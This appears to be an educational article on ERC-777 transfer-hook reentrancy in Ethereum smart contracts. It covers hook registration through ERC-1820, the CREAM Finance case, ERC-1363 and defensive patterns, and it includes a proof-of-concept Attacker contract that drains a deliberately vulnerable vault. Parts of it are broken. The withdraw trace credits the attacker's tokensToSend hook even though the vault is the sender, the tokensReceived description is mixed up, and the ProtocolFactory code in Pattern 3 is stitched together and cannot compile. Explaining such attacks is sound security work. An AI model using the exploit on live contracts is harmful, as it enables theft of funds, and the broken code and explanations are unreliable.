Introduction
ERC-20 is the lingua franca of fungible tokens on Ethereum. Its simplicity is a feature: transfer, transferFrom, approve, and a handful of view functions. No callbacks. No hooks. No surprises.
ERC-777 was designed to fix ERC-20’s rough edges — most notably the inability for a receiving contract to react to an incoming token transfer within the same transaction. But in doing so, it introduced a category of vulnerability that is both pervasive and subtle: transfer hooks that hand control-flow to external, untrusted contracts in the middle of what looks like a plain token movement.
The critical trap is this: ERC-777 is backward compatible with ERC-20, which means any protocol that expects ERC-20 tokens will silently accept ERC-777 tokens. Every transferFrom call on an ERC-777 token can fire an arbitrary callback on the sender — before the token’s internal state is updated — re-entering your contract while your accounting is still stale.
This article dissects how that works mechanically, traces the exploit pattern step by step, contrasts ERC-777 with the safer ERC-1363 callback model, and concludes with a concrete checklist for teams evaluating whether to support ERC-777 at all (spoiler: most should not).
1. What ERC-777 Actually Is
ERC-777 brings multiple quality-of-life improvements, such as getting rid of the confusion around decimals, minting and burning with proper events, among others, but its killer feature is receive hooks. A hook is simply a function in a contract that is called when tokens are sent to it, meaning accounts and contracts can react to receiving tokens.
ERC-777 is an advanced token standard that builds upon ERC-20. Its key features include: Hooks — allowing token senders and recipients to execute custom logic before tokens are sent or received; Operators — authorized addresses that can manage tokens on behalf of holders; and the ERC-1820 Registry — used to register and look up implementers of specific interfaces.
Beyond hooks, ERC-777 replaces the two-step approve + transferFrom pattern with an operatorSend model that allows pre-authorized operators to move tokens on behalf of holders. ERC-777 was first published with the intention of advancing the features and functionality offered by existing token contracts. It lists seven key improvements, including the introduction of approved operators that can transfer tokens on behalf of users, and registration with the ERC-1820 registry.
2. The Two Hooks: tokensToSend and tokensReceived
ERC-777 defines two hooks that fire around every token movement:
| Hook | Fires | State at call time |
|---|---|---|
tokensToSend | Before transfer | Pre-transfer — balances unchanged |
tokensReceived | After transfer | Post-transfer — balances updated |
This asymmetry is not accidental — it is mandated by the spec. The token contract MUST call the tokensToSend hook before updating the state. The token contract MUST call the tokensReceived hook after updating the state.
tokensToSend
Any address that has registered an ERC777TokensSender implementation in the ERC-1820 registry will have its tokensToSend function called whenever tokens are about to leave that address. From a security perspective, the most important addition are the optional pre-transfer hooks. They differ from the previously described hooks by executing a non-read-only call (tokensToSend) to the sender of the transfer, given the sender has registered with the ERC-1820 registry beforehand. This hook hands control flow over to the sender, which can lead to the exploitation of reentrancy vulnerabilities.
tokensReceived
Called by an ERC-777 token contract whenever a registered holder’s tokens are about to be moved or destroyed. The type of operation is conveyed by to being the zero address or not. This call occurs before the token contract’s state is updated, so IERC777-balanceOf etc. can be used to query the pre-operation state. This function may revert to prevent the operation from being executed.
The token contract MUST call the tokensReceived hook of the recipient if the recipient registers an ERC777TokensRecipient implementation via ERC-1820.
Both hooks share the same interface shape:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/// @notice Called on the SENDER before tokens leave their account.
interface IERC777Sender {
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
/// @notice Called on the RECIPIENT after tokens arrive in their account.
interface IERC777Recipient {
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
The token contract looks up both hooks in ERC-1820 before and after the transfer. If a matching implementer is registered, the call is made unconditionally and with full control-flow transfer to untrusted external code.
3. The ERC-1820 Registry: How Hooks Are Discovered
ERC-1820 defines a universal registry smart contract where any address (contract or regular account) can register which interface it supports and which smart contract is responsible for its implementation. This registry defines a mechanism where smart contracts and regular accounts can publish which functionality they implement — either directly or through a proxy contract. Anyone can query this registry to ask if a specific address implements a given interface and which smart contract handles its implementation.
Think of ERC-1820 as a record book that lives per blockchain, and everyone knows where it is located. Contracts in that chain can add entries to this mapping, saying “I am 0x123..ABC and I support this and that interface, if anyone asks.” This way, if you were to send a token to some contract, you can query that contract in ERC-1820 to see whether they actually declare support for that token, in which case you can safely send the tokens.
ERC-1820 is deployed once on each chain, at a pre-defined address. Concretely, ERC-777 will ALWAYS look at the address 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24 for ERC-1820.
When an ERC-777 token executes a transfer, the flow is:
- Query ERC-1820: does the sender have an
ERC777TokensSenderimplementer registered? - If yes → call
tokensToSendon that implementer. - Perform the actual balance update inside the token contract.
- Query ERC-1820: does the recipient have an
ERC777TokensRecipientimplementer registered? - If yes → call
tokensReceivedon that implementer.
ERC-777 takes advantage of ERC-1820 to find out whether and where to notify contracts and regular addresses when they receive tokens, as well as to allow compatibility with already-deployed contracts.
How a recipient registers itself:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/utils/introspection/IERC1820Registry.sol";
import "./IERC777Recipient.sol";
contract MyReceiver is IERC777Recipient {
IERC1820Registry private constant _ERC1820 =
IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
keccak256("ERC777TokensRecipient");
constructor() {
// Register this contract as the tokensReceived implementer for itself
_ERC1820.setInterfaceImplementer(
address(this),
_TOKENS_RECIPIENT_INTERFACE_HASH,
address(this)
);
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external override {
// Custom logic fires here on every incoming ERC-777 transfer
}
}
An attacker registering a malicious implementer for their address causes their hook to fire on every outbound transfer — even a legitimate one triggered by a DeFi protocol calling transferFrom with an allowance.
4. The Hidden Danger: ERC-20 Functions Still Trigger Hooks
This is the crux of the problem. A core security issue introduced by certain standards is the modification of behavior in previously defined smart contract methods. Specifically, ERC-777 with its addition of transfer hooks, is one of the most problematic in this regard.
A protocol that calls token.transferFrom(user, address(this), amount) believes it is making a plain ERC-20 call. It does not know — and has no way to detect without explicitly checking — that token is actually an ERC-777 contract that will invoke tokensToSend on user’s registered hook contract before the balance update, and tokensReceived on the protocol’s own registered hook after the balance update.
These additional calls during transfers set ERC-777 apart from ERC-20 tokens. These hooks introduce a new attack vector which can potentially affect smart contracts that are not designed to handle additional calls during token transfers.
The implication is severe: any ERC-777 token is a reentrancy death trap. The token itself violates the “effects before external calls” rule: it calls out to the sender before it commits the effects of a transfer. Any caller into the token may be maintaining the effects-before-calls rule, but it may not matter, if the token itself does not.
5. The ERC-777 Reentrancy Pattern in Detail
The Vulnerable Vault
Consider a straightforward vault contract that deposits and withdraws ERC-20 tokens:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @notice VULNERABLE — do not use in production
contract VulnerableVault {
IERC20 public immutable token;
mapping(address => uint256) public balances;
constructor(address _token) {
token = IERC20(_token);
}
/// @notice Deposit tokens. Records delta in balance via snapshot diff.
function deposit() external {
uint256 before = token.balanceOf(address(this));
token.transferFrom(msg.sender, address(this), 0); // amount handled below
uint256 received = token.balanceOf(address(this)) - before;
balances[msg.sender] += received;
}
/// @notice Withdraw all tokens.
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "nothing to withdraw");
token.transfer(msg.sender, amount); // <-- ERC-777 fires tokensToSend HERE
balances[msg.sender] = 0; // <-- state updated AFTER the external call
}
}
The Attacker Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/utils/introspection/IERC1820Registry.sol";
import "./IERC777Sender.sol";
import "./VulnerableVault.sol";
contract Attacker is IERC777Sender {
IERC1820Registry private constant _ERC1820 =
IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH =
keccak256("ERC777TokensSender");
VulnerableVault public immutable vault;
uint256 public attackCount;
uint256 public constant MAX_REENTRIES = 5;
constructor(address _vault) {
vault = VulnerableVault(_vault);
// Register this contract as the ERC777Sender hook for itself.
// Every time THIS contract's tokens are moved, tokensToSend fires.
_ERC1820.setInterfaceImplementer(
address(this),
_TOKENS_SENDER_INTERFACE_HASH,
address(this)
);
}
/// Step 1: fund the vault legitimately, then trigger the drain.
function attack() external {
// Assume this contract already holds vault tokens and has deposited them.
vault.withdraw();
}
/// Step 2: ERC-777 calls this BEFORE the vault's transfer completes
/// and BEFORE balances[address(this)] is zeroed.
function tokensToSend(
address /*operator*/,
address /*from*/,
address /*to*/,
uint256 /*amount*/,
bytes calldata /*userData*/,
bytes calldata /*operatorData*/
) external override {
if (attackCount < MAX_REENTRIES) {
attackCount++;
vault.withdraw(); // re-enter while balance is still non-zero
}
}
}
Step-by-Step Execution Trace
1. Attacker.attack()
2. → VulnerableVault.withdraw()
3. reads balances[attacker] = 100 tokens ← stale but correct at this point
4. calls token.transfer(attacker, 100)
5. → ERC-777 queries ERC-1820 for attacker's ERC777TokensSender
6. → calls Attacker.tokensToSend(...) ← control-flow hijacked
7. → VulnerableVault.withdraw() ← REENTRANT CALL
8. reads balances[attacker] = 100 ← still 100, no update yet!
9. calls token.transfer(attacker, 100)
10. ... (recursion up to MAX_REENTRIES)
11. balances[attacker] = 0 ← finally zeroed deep in stack
12. transfer from step 4 completes
13. balances[attacker] = 0 ← zeroed again (benign here, damage done)
Each re-entrant call drains another 100 tokens from the vault before the balance mapping is ever updated. The attacker exits with MAX_REENTRIES × 100 tokens for the cost of a single legitimate deposit.
The tokensToSend Variant via transferFrom
The problem is the tokensToSend hook which is executed BEFORE balance updates happen. When this hook is executed, token.balanceOf(address(this)) therefore still returns the old value, but _storedBalances[balanceID] was already decreased.
This means even a vault that uses balance-diff accounting — computing received tokens as balanceAfter - balanceBefore — is vulnerable if the ERC-777 hook fires during transferFrom and the contract reads its own accounting state (not the token balance) inside the callback.
6. How ERC-20-Only Protocols Fail Silently
The treacherous part is that nothing at the Solidity type level distinguishes an ERC-777 token from an ERC-20 token. Both expose transfer, transferFrom, approve, balanceOf, and allowance. A protocol can have no awareness of ERC-777 at all and still accept an ERC-777 token — because the token satisfies every ERC-20 interface check.
The CREAM Finance hack is unusual in that it did not exploit a bug in the AMP contracts. AMP implements ERC-777, and the projects’ contracts worked exactly as designed. ERC-777 is designed to notify contracts that they are being sent tokens in the form of a callback. In this case, the attacker exploited this callback to perform a reentrancy attack.
The CREAM lending pool contracts did have reentrancy locks on their contract functions. How did the contracts get hacked when they had protection? The CREAM lending system is made up of multiple contracts with one “CToken” pool contract for each asset supported. So CREAM has a lending contract for ETH, as it does for USDC, as it does for AMP. Each one of these individual lending contracts has its own separate lock for protecting that individual contract against reentrancy.
Because reentrancy guards protect only the re-entered contract, a cross-contract reentrancy — entering a different contract than the one holding the lock — bypasses all per-function guards. The reentrancy opportunity related to ERC-777-style transfer hooks allowed the exploiter to nest a second borrow() function inside the token transfer before the initial borrow() was updated.
A Lending Protocol Example
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
/// @notice Simplified lending pool — vulnerable to cross-contract ERC-777 reentrancy
contract LendingPool is ReentrancyGuard {
IERC20 public immutable collateralToken; // might be ERC-777 in disguise
IERC20 public immutable borrowToken;
mapping(address => uint256) public collateralDeposited;
mapping(address => uint256) public borrowedAmount;
constructor(address _collateral, address _borrow) {
collateralToken = IERC20(_collateral);
borrowToken = IERC20(_borrow);
}
function deposit(uint256 amount) external nonReentrant {
collateralToken.transferFrom(msg.sender, address(this), amount);
// If collateralToken is ERC-777, tokensToSend fires on msg.sender
// BEFORE the token updates its internal balances.
// The attacker can re-enter *another* function on this contract
// or a *different* contract in the same protocol.
collateralDeposited[msg.sender] += amount;
}
function borrow(uint256 amount) external nonReentrant {
require(collateralDeposited[msg.sender] >= amount * 2, "under-collateralized");
borrowedAmount[msg.sender] += amount;
borrowToken.transfer(msg.sender, amount);
// If borrowToken is ERC-777, tokensReceived fires here.
// The attacker registered a tokensReceived hook and can re-enter
// a DIFFERENT lending pool contract that shares state.
}
}
The nonReentrant guard on borrow prevents re-entering borrow itself — but it does not prevent the attacker’s tokensReceived from calling into a separate LiquidationEngine or RewardDistributor contract that reads from the same stale collateralDeposited mapping.
7. ERC-777 and the ERC-1820 Registry: The Full Attack Surface
Beyond simple reentrancy, the ERC-1820 registration mechanism expands the attack surface in a subtler way. This hook can be utilized in various ways: either for reentrancy attacks to steal tokens or just to revert, thereby preventing the target contract from sending or receiving ERC-777 tokens. As a result, whenever the target contract receives ERC-777 tokens in the future, the attacker’s hook smart contract will be triggered. This hook can be utilized in various ways: either for reentrancy attacks to steal tokens or just to revert, thereby preventing the target contract from sending or receiving ERC-777 tokens.
A denial-of-service vector: an attacker deposits a small amount of ERC-777 tokens, registers a hook that always reverts, and now any protocol attempt to return those tokens to the user will revert — potentially locking funds or breaking protocol invariants that assume all outstanding claims can be settled.
Additionally, the manager of an address (regular account or a contract) is the only entity allowed to register implementations of interfaces for the address. By default, any address is its own manager. The manager can transfer its role to another address by calling setManager on the registry contract. This means any address can register a hook for itself at any time — the protocol cannot assume that because an address had no hook registered at deposit time, it will have no hook registered at withdrawal time.
8. ERC-1363: A Safer Callback Model
ERC-1363 addresses many of the same use-cases that motivated ERC-777 but with a fundamentally different approach to callbacks.
ERC-1363 introduces a standard API for ERC-20 tokens to interact with smart contracts after transfer, transferFrom, or approve. This standard provides basic functionality to transfer tokens, as well as allow tokens to be approved so they can be spent by another on-chain third party, and then make a callback on the receiver or spender contract.
The key distinction: unlike other ERC-20 extension proposals, ERC-1363 doesn’t override the ERC-20 transfer and transferFrom methods and defines the interface IDs to be implemented maintaining backward compatibility with ERC-20.
Callbacks in ERC-1363 are opt-in and explicit:
transferAndCall and transferFromAndCall will call an onTransferReceived on an ERC1363Receiver contract. approveAndCall will call an onApprovalReceived on an ERC1363Spender contract.
If a caller uses plain transfer or transferFrom, no callback fires. The callback is only triggered when the caller explicitly opts in by using transferAndCall. This means:
- Protocols built on plain ERC-20 semantics are never surprised.
- Callbacks fire only when both parties knowingly participate.
- The callback is called after the transfer is complete — the token state is already updated.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/// @notice ERC-1363 receiver interface
interface IERC1363Receiver {
/// @dev Called by the token contract AFTER a successful transferAndCall.
/// Token state is already committed at this point.
/// @return bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))
function onTransferReceived(
address operator,
address from,
uint256 value,
bytes calldata data
) external returns (bytes4);
}
contract SafeStakingVault is IERC1363Receiver {
mapping(address => uint256) public stakes;
bytes4 private constant _ON_TRANSFER_RECEIVED =
bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"));
/// @notice Called by the ERC-1363 token contract after tokens arrive.
/// The token balance is already updated — no reentrancy window.
function onTransferReceived(
address /*operator*/,
address from,
uint256 value,
bytes calldata /*data*/
) external override returns (bytes4) {
// msg.sender is the token contract — validate it if you maintain an allowlist
stakes[from] += value;
return _ON_TRANSFER_RECEIVED;
}
}
The addition of the word “call” which ERC-1363 uses makes it more explicit what the function is doing: calling the receiver after the transfer to notify it that tokens were transferred to it.
Importantly, ERC-1363 does not rely on ERC-1820. There is no global registry to query, no external lookup, and no possibility for a third party to inject a hook. ERC-1363 tokens can be used for specific utilities in all cases that require a callback to be executed after a transfer or an approval received. ERC-1363 is also useful for avoiding token loss or token locking in contracts by verifying the recipient contract’s ability to handle tokens.
Comparison Table
| Property | ERC-20 | ERC-777 | ERC-1363 |
|---|---|---|---|
| Callback on receive | ✗ | ✓ (always, if registered) | ✓ (opt-in) |
| Callback on send | ✗ | ✓ (always, if registered) | ✗ |
| Callback fires before state update | — | tokensToSend does | ✗ (fires after) |
| Requires ERC-1820 | ✗ | ✓ | ✗ |
| Silent adoption in ERC-20 protocols | ✓ | ✓ (dangerous) | ✓ (safe, no implicit callback) |
| OpenZeppelin support | ✓ | Deprecated | ✓ |
9. Writing Token-Agnostic Contracts That Handle Callbacks Safely
If you must handle tokens that may or may not include callbacks, the following patterns collectively close the reentrancy window.
Pattern 1: Checks-Effects-Interactions, Strictly Enforced
Always update all state before making any external call — including token transfers:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract SafeVault is ReentrancyGuard {
IERC20 public immutable token;
mapping(address => uint256) public balances;
constructor(address _token) {
token = IERC20(_token);
}
function deposit(uint256 amount) external nonReentrant {
token.transferFrom(msg.sender, address(this), amount);
// Even if tokensToSend fires inside transferFrom above,
// we haven't written to balances yet — so reentering deposit
// will see the pre-deposit balance for msg.sender.
// The nonReentrant guard prevents reentrant calls entirely.
balances[msg.sender] += amount;
}
function withdraw(uint256 amount) external nonReentrant {
require(balances[msg.sender] >= amount, "insufficient balance");
// EFFECTS first — zero out before any external call
balances[msg.sender] -= amount;
// INTERACTIONS last — even if tokensToSend fires, balance is already 0
token.transfer(msg.sender, amount);
}
}
Pattern 2: Balance-Diff Accounting with Guard
For vaults that accept arbitrary tokens and credit users based on what actually arrived:
function deposit() external nonReentrant {
uint256 balanceBefore = token.balanceOf(address(this));
token.transferFrom(msg.sender, address(this), userSuppliedAmount);
uint256 balanceAfter = token.balanceOf(address(this));
// Handles fee-on-transfer tokens AND ignores ERC-777 hook manipulation
// because the nonReentrant guard prevents reentrance during the snapshot window.
uint256 received = balanceAfter - balanceBefore;
shares[msg.sender] += received;
}
Pattern 3: ERC-777 Detection and Rejection
The most secure option for protocols that do not intend to support ERC-777 semantics is to detect and reject ERC-777 tokens at the point of whitelisting:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC1820Registry {
function getInterfaceImplementer(address account, bytes32 interfaceHash)
external view returns (address);
}
library TokenGuard {
IERC1820Registry private constant _ERC1820 =
IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
bytes32 private constant _ERC777_INTERFACE_HASH =
keccak256("ERC777Token");
/// @notice Returns true if the token is registered as ERC-777 in ERC-1820.
/// @dev A token that did not register is NOT guaranteed to be safe —
/// it may implement hooks without registering. Use as an additional
/// signal, not as a complete guarantee.
function isERC777(address token) internal view returns (bool) {
address implementer = _ERC1820.getInterfaceImplementer(
token,
_ERC777_INTERFACE_HASH
);
return implementer != address(0);
}
function rejectERC777(address token) internal view {
require(!isERC777(token), "TokenGuard: ERC-777 tokens not supported");
}
}
contract ProtocolFactory {
using TokenGuard for address;
mapping(address => bool) public supportedTokens;
function addToken(address token) external {
token.rejectERC
777(token) external {
require(!supportedTokens[token], "already supported");
// Check if the token implements ERC-777's tokensReceived interface
// by checking if it registered with ERC-1820
address erc1820 = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24;
bytes32 interfaceHash = keccak256("ERC777Token");
// If the token is registered as ERC-777, reject it
(bool success, bytes memory data) = erc1820.staticcall(
abi.encodeWithSignature(
"getInterfaceImplementer(address,bytes32)",
token,
interfaceHash
)
);
address implementer = success && data.length == 32
? abi.decode(data, (address))
: address(0);
require(implementer == address(0), "ERC-777 tokens not supported");
supportedTokens[token] = true;
}
}
ERC-777 and Callback Token Audit Checklist
Callback identification
- All tokens accepted by the protocol are checked for ERC-777 registration via ERC-1820
- ERC-721
safeTransfercallbacks (onERC721Received) are identified and reviewed - ERC-1155
onERC1155Receivedcallbacks are identified and reviewed - Any token with a
transferhook (fee-on-transfer, deflationary, ERC-20 with hooks) is flagged
Reentrancy protection
-
nonReentrantis applied to all functions that transfer callback-bearing tokens - CEI is enforced: state is fully updated before any external token transfer
- Cross-function reentrancy is analyzed: a callback entering a different function in the same contract is checked
Token allowlist
- The protocol maintains an explicit token allowlist rather than accepting arbitrary ERC-20s
- New tokens are reviewed for callback behavior before being added to the allowlist
- ERC-777 tokens are either explicitly supported (with full reentrancy analysis) or explicitly rejected
Balance delta accounting
- All deposits use balance-before/after delta to credit the actual received amount
- No function assumes that
transferFrom(from, to, amount)results in exactlyamountreceived